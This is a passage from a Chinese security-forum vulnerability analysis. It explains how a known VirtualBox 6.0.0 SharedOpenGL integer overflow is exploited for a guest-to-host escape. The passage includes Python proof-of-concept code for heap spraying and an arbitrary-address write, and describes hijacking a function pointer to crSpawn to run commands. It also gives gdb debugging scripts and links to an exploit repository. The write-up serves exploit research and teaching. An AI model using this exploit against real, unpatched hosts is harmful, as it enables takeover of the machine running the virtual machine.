),最后可以实现任意地址写,示意图如下(忽略了 glibc 的 chunk header): ![image.png](https://shs3.b.qianxin.com/attack_forum/2023/03/attach-2a612031262cc428e85fd90aa6c64cefff5ec955.png) 具体流程: 1. 首先通过堆风水让布局为 **初始布局** ,即 `空闲块 | buffer #1 | buffer #1 的 data | buffer #2` 相邻摆放. 2. 进入 crServerDispatchReadPixels,分配溢出对象 (CRMessageReadPixels),然后溢出修改 `buffer #1` 的 **uiId=0xdeadbeef uiSize = 0xffffffff**. 3. 通过 `SHCRGL_GUEST_FN_WRITE_BUFFER` ,传入 `iBuffer` 为 `0xdeadbeef`,找到被修改的 `buffer #1` ,然后往里面写入超过 0x20 的数据,**修改 ****`buffer #2`**** 的 ****`uiId, uiSize, pData`**** 字段**. 4. 通过 `SHCRGL_GUEST_FN_WRITE_BUFFER` ,传入 `iBuffer` 为 `0xcafebabe` ,找到被修改的 `buffer #2` ,然后往里面写数据就能导致**任意地址写**。 3~4 部分的 POC 如下 ```python def make_corrupt_obj(pData): obj = ( "A"*0x28 + pack("<Q", 0x35) + pack("<I", 0xcafebabe) #uiId + pack("<I", 0xffffffff) #uiSize + pack("<Q", pData) # table_addr ) return obj def write_anywhere(addr, data): #make corrupt obj fake_buffer = make_corrupt_obj(addr) hgcm_call(client, SHCRGL_GUEST_FN_WRITE_BUFFER, [0xdeadbeef, 0xffffffff, 0, fake_buffer]) # overwrite buffer #2's pData & uiSize hgcm_call(client, SHCRGL_GUEST_FN_WRITE_BUFFER, [0xcafebabe, 0xffffffff, 0, data]) # use buffer #2 to arw ``` 下面再介绍堆布局的流程: ![image.png](https://shs3.b.qianxin.com/attack_forum/2023/03/attach-3fefe7d5e3c31f1eb7df6273b5e7885d57358128.png) 流程介绍如下: 1. 首先通过申请大量 0x20 的内存消耗堆中的不连续的内存块. 2. 连续分配多个 pData 大小为 0x20 的 pBuf,此时 pBuf 和 pData 会连续分配. 3. 从后往前间隔释放 pBuf->pData 和 pBuf,由于堆管理的后入先出的特性,最终 free 块的链表为 `free 7 --> free 6 --> .... -> free y`. 4. 按照 0x50 和 0x20 的 Size 组合连续申请 pBuf - pBuf 9 11 13 15 的 pData 的大小为 0x50 所以不会用刚刚释放的 free 块 - pBuf 10 12 14 的 pData 的大小为 0x20 会使用刚刚释放的 free 块. 5. 从后往前间隔释放 size 为 0x50 的 pBuf,最后 free 块链表为 `free 1 --> free 0` 6. 触发漏洞,使用 free 0 溢出 pBuf 14. - 触发漏洞前需要分配 pBuf 然后把命令数据写入 pBuf,这一步设置 pBuf->uiSize 大于 0x20 ,就只会用掉一个 0x20 的块,即 free 1 - 然后在 crServerDispatchReadPixels 里面整数溢出申请 0x20 的内存会拿到 free 0 - 溢出就可以修改 pBuf 14 的 uiSize 为 0xffffffff 7. 利用 pBuf 14 溢出修改 pBuf 15 的 uiSize 、pData. 8. 利用 pBuf 15 实现任意地址写. 堆喷相关代码 ```python def heapSpray(client): buf_ids = [] spray_ids = [] # 清理堆中的碎片. for i in range(600): alloc_buf(client, 0x20) fengshui_buf_ids = [] for i in range(1000): fengshui_buf_ids.append(alloc_buf(client, 0x60)) for i in range(500): alloc_buf(client, 0x20) raw_input("clean heap done.") # 分配多个 pBuf, pBuf->pData 的大小为 0x20, 用于布局 for i in range(120): buf_ids.append(alloc_buf(client, 0x20)) buf_ids = buf_ids[::-1] # reverse, because fastbin is LIFO # 占位避免合并 for i in range(120): alloc_buf(client, 0x20) raw_input("try to make hole...") # 间隔释放 pBuf for idx in buf_ids[::2]: hgcm_call(client, SHCRGL_GUEST_FN_WRITE_READ_BUFFERED, [idx, "A"*0x40, 0]) # 按照 0x50 和 0x20 的 Size 组合连续申请 pBuf for i in range(40): spray_ids.append(alloc_buf(client, 0x50)) alloc_buf(client, 0x20) # 间隔释放 size 为 0x50 的 pBuf,给 crServerDispatchReadPixels 凿洞 for idx in spray_ids[::-2]: hgcm_call(client, SHCRGL_GUEST_FN_WRITE_READ_BUFFERED, [idx, "A"*0x40, 0]) ``` 有任意地址写的能力后,劫持 cr\_unpackDispatch.BoundsInfoCR 函数指针为 crSpawn 函数,然后找个地方写入要执行的命令,通过 CR\_BOUNDSINFOCR\_OPCODE 命令即可触发 crSpawn 的执行. ```c void crUnpackBoundsInfoCR( void ) { CRrecti bounds; GLint len; GLuint num_opcodes; GLbyte *payload; len = READ_DATA( 0, GLint ); bounds.x1 = READ_DATA( 4, GLint ); bounds.y1 = READ_DATA( 8, GLint ); bounds.x2 = READ_DATA( 12, GLint ); bounds.y2 = READ_DATA( 16, GLint ); num_opcodes = READ_DATA( 20, GLuint ); payload = DATA_POINTER( 24, GLbyte ); cr_unpackDispatch.BoundsInfoCR( &bounds, payload, len, num_opcodes ); INCR_VAR_PTR(); } ``` ![image.png](https://shs3.b.qianxin.com/attack_forum/2023/03/attach-d91df8470d4d33b83129ab2fa68a39065a673fdf.png) Part2 堆风水过程中的问题解决 ================= 本节介绍调试堆风水中遇到的坑,以及定位和解决的思路,能复现该问题的 commit ```c https://github.com/hac425xxx/VirtualBox-6.0.0-Exploit-1-day/tree/dd3d3403f24278393667b902c34f5c0b302c9400 ``` poc 执行完 heapSpray 中的下面代码后,理论上后面申请的 pBuf 和 pBuf->pData应该都是连续的. ```python def heapSpray(client): buf_ids = [] spray_ids = [] msg = nop_msg() # make CRVBOXSVCBUFFER_t & pData heapSpray area for i in range(1, 200): print("alloc {}.".format(i * 0x10)) for j in range(180): alloc_buf(client, 0x10 + 0x10 * i, msg) for i in range(2000): alloc_buf(client, 0x20, msg) fengshui_buf_ids = [] for i in range(1000): fengshui_buf_ids.append(alloc_buf(client, 0x20, msg)) for i in range(4000): alloc_buf(client, 0x20, msg) raw_input("clean heap done.") ``` 但执行完后,通过 [gdb 脚本](https://github.com/hac425xxx/VirtualBox-6.0.0-Exploit-1-day/blob/master/gdb/iter_g_pCRVBoxSVCBuffers.py#L77) 打印 VirtualBox 里面的所有的 pBuf 和 pData 的结果如下: ![image.png](https://shs3.b.qianxin.com/attack_forum/2023/03/attach-4babbcddc10262b48c52c1b64675b180fea4711e.png) 输出中 `/` 前面是内存地址,后面是该内存地址所处的 arena,可以发现 pBuf 和 pBuf->pData 在两个 arena 中分配,且 pBuf 和 pBuf->pData 都是按照 0x30 递增的. 而 pBuf 和 pBuf->pData 的分配是顺序的 ```c pBuffer = (CRVBOXSVCBUFFER_t*) RTMemAlloc(sizeof(CRVBOXSVCBUFFER_t)); if (pBuffer) { pBuffer->pData = RTMemAlloc(cbBufferSize); ``` 第一想法就是两次分配之间使用了不同的 arena,但是给两次分配的位置处下断点,打印当前的 thread\_arena ```bash break *(svcGetBuffer+179) commands printf "svcGetBuffer before 1'st alloc, thread_arena: 0x%lx, mutex: 0x%lx\n", *(unsigned long*)($fs_base-112), *(unsigned int*)(*(unsigned long*)($fs_base-112)) c end break *(svcGetBuffer+206) commands printf "svcGetBuffer before 2'st alloc, thread_arena: 0x%lx, mutex: 0x%lx\n", *(unsigned long*)($fs_base-112), *(unsigned int*)(*(unsigned long*)($fs_base-112)) c end ``` 但是发现 thread\_arena 没有发生变化. ![image.png](https://shs3.b.qianxin.com/attack_forum/2023/03/attach-246699673bcd14dafad56c679fd1b745a83b4f6b.png) 既然 thread\_arena 没有发生变化,那就是有其他线程往里面插入了块,但是这个如此规整两端如此规整的地址,又觉得有点奇怪. 在申请 pBuffer 处下断点,使用 [gdb脚本](https://github.com/hac425xxx/VirtualBox-6.0.0-Exploit-1-day/blob/master/gdb/iter_fastbin.py) 查看当前的 tcache 和 arena 里面的 fastbin 和 smallbin: ![image.png](https://shs3.b.qianxin.com/attack_forum/2023/03/attach-7e093a7a7a86e64a29ba4f89cb2805e4ebcd10f7.png) 可以看到每次断点断下来后, tcache 里面都被插入了一个其他 arena 里面申请的内存块,翻了下 libc 的源码如果线程释放了一个其他线程申请的或者从其他 arena 里面申请的内存,如果 tcache 中有空位,会把内存块放到当前线程的 tcache 中. ```c static void _int_free (mstate av, mchunkptr p, int have_lock) { #if USE_TCACHE { size_t tc_idx = csize2tidx (size); if (tcache && tc_idx < mp_.tcache_bins && tcache->counts[tc_idx] < mp_.tcache_count) { tcache_put (p, tc_idx); return; } } #endif ``` 那估计是在当前线程的某个地方把 0x30 的块插入到了 tcache 里面,给 tcache->entries\[1\] 下内存断点,定位到写 tcache 的地方 ![image.png](https://shs3.b.qianxin.com/attack_forum/2023/03/attach-3872250b56638255fd6dac1d43f13693d02bcd4f.png) 相关代码: ```shell /** Deallocate VBOXHGCMCMD memory. * * @param pThis The VMMDev instance data. * @param pCmd Command to deallocate. */ static void vmmdevHGCMCmdFree(PVMMDEV pThis, PVBOXHGCMCMD pCmd) { if (pCmd) { if (pCmd->enmCmdType == VBOXHGCMCMDTYPE_CALL) { uint32_t i; for (i = 0; i < pCmd->u.call.cParms; ++i) { VBOXHGCMSVCPARM * const pHostParm = &pCmd->u.call.paHostParms[i]; VBOXHGCMGUESTPARM * const pGuestParm = &pCmd->u.call.paGuestParms[i]; if (pHostParm->type == VBOX_HGCM_SVC_PARM_PTR) RTMemFree(pHostParm->u.pointer.addr); // 释放指针参数的内存 if ( pGuestParm->enmType == VMMDevHGCMParmType_LinAddr_In || pGuestParm->enmType == VMMDevHGCMParmType_LinAddr_Out || pGuestParm->enmType == VMMDevHGCMParmType_LinAddr || pGuestParm->enmType == VMMDevHGCMParmType_PageList || pGuestParm->enmType == VMMDevHGCMParmType_ContiguousPageList) if (pGuestParm->u.ptr.paPages != &pGuestParm->u.ptr.GCPhysSinglePage) RTMemFree(pGuestParm->u.ptr.paPages); } } ``` 通过前面的分析, pHostParm->u.pointer.addr 用于保存 HGCM 的指针参数,对应到 poc 就是 alloc\_buf 的 msg 参数: ```c def alloc_buf(client, sz, msg='a'): buf,_,_,_ = hgcm_call(client, SHCRGL_GUEST_FN_WRITE_BUFFER, [0, sz, 0, msg]) return buf ``` hgcm\_call 进入 VirtualBox 后会在 EMT-1 线程为 msg 参数申请内存&拷贝数据,然后进入 ShCrOpenGL 线程处理完消息后,调用 vmmdevHGCMCmdFree 释放之前为参数申请的内存,由于 tcache 的机制,导致被**释放的内存块会进入 ShCrOpenGL 线程的 tcache**。 回到 poc 脚本中 heapSpray 调用 alloc\_buf 传入的 msg 为 nop\_msg() 返回值,大小也为 0x20,最后的解决方式就是设置 msg = 'a',这样就只会涉及到 0x20 的 tcache bin,不会对 0x30 的 tcache 造成影响. ```c https://github.com/hac425xxx/VirtualBox-6.0.0-Exploit-1-day/commit/f251a5fa537dbd9246ccc7cb9b8f369bedd8221b ``` 修复之后 ![image.png](https://shs3.b.qianxin.com/attack_forum/2023/03/attach-0fef3e048915ce1412a6d3a8f7679dd247569b35.png) MISC ==== 追踪 connect 和 disconnect 的内存分配 ```c gef➤ i b Num Type Disp Enb Address What 1 breakpoint keep n 0x00007fc20e9c67d0 in crVBoxServerAddClient at /home/poc/VirtualBox-6.0.0/src/VBox/HostServices/SharedOpenGL/crserverlib/server_main.c:647 breakpoint already hit 4 times 2 breakpoint keep y 0x00007fc20e9da4c0 in crServerDeleteClient at /home/poc/VirtualBox-6.0.0/src/VBox/HostServices/SharedOpenGL/crserverlib/server_stream.c:181 breakpoint already hit 3 times printf "free client: 0x%lx, client->conn: 0x%lx\n", client, client->conn c 5 breakpoint keep y 0x00007fc20e9c683f in crVBoxServerAddClient at /home/poc/VirtualBox-6.0.0/src/VBox/HostServices/SharedOpenGL/crserverlib/server_main.c:661 printf "add client: 0x%lx, client->conn: 0x%lx\n", newClient, newClient->conn c ``` 相关断点: ```c break crServerDeleteClient commands printf "free client: 0x%lx, client->conn: 0x%lx\n", client, client->conn c end break *0x7fd269ce883f commands printf "add client: 0x%lx, client->conn: 0x%lx\n", newClient, newClient->conn c end disable $bpnum break crUnpackExtendGetAttribLocation disable $bpnum break crServerDispatchReadPixels break crservice.cpp:693 disable $bpnum break crservice.cpp:693 commands printf "alloc_buf buf:0x%lx, buf->pData: 0x%lx\n", pSvcBuffer, pSvcBuffer->pData c end break crservice.cpp:409 commands printf "svcFreeBuffer pBuffer:0x%lx, pBuffer->pData: 0x%lx\n", pBuffer, pBuffer->pData c end break *(svcGetBuffer+179) commands printf "svcGetBuffer before 1'st alloc, thread_arena: 0x%lx, mutex: 0x%lx\n", *(unsigned long*)($fs_base-112), *(unsigned int*)(*(unsigned long*)($fs_base-112)) c end break *(svcGetBuffer+206) commands printf "svcGetBuffer before 2'st alloc, thread_arena: 0x%lx, mutex: 0x%lx\n", *(unsigned long*)($fs_base-112), *(unsigned int*)(*(unsigned long*)($fs_base-112)) c end ``` 溢出内存分配点 ```python b crServerDispatchReadPixels+262 b *(crServerDispatchReadPixels+257) ``` 参考资料 ==== - <https://github.com/wotmd/VirtualBox-6.0.0-Exploit-1-day> - <https://labs.withsecure.com/content/dam/labs/docs/offensivecon-2019-3d-accelerated-exploitation-jason-matthyser.pdf> \[^1\]: ## SharedOpenGL 模块分析 \[^2\]: #### 使用服务
发表于 2023-04-10 09:00:00
阅读 ( 5486 )
分类:
漏洞分析
0 推荐
收藏
0 条评论
请先
登录
后评论
hac425
14 篇文章
×
发送私信
请先
登录
后发送私信
×
举报此文章
垃圾广告信息:
广告、推广、测试等内容
违规内容:
色情、暴力、血腥、敏感信息等内容
不友善内容:
人身攻击、挑衅辱骂、恶意行为
其他原因:
请补充说明
举报原因:
×
如果觉得我的文章对您有用,请随意打赏。你的支持将鼓励我继续创作!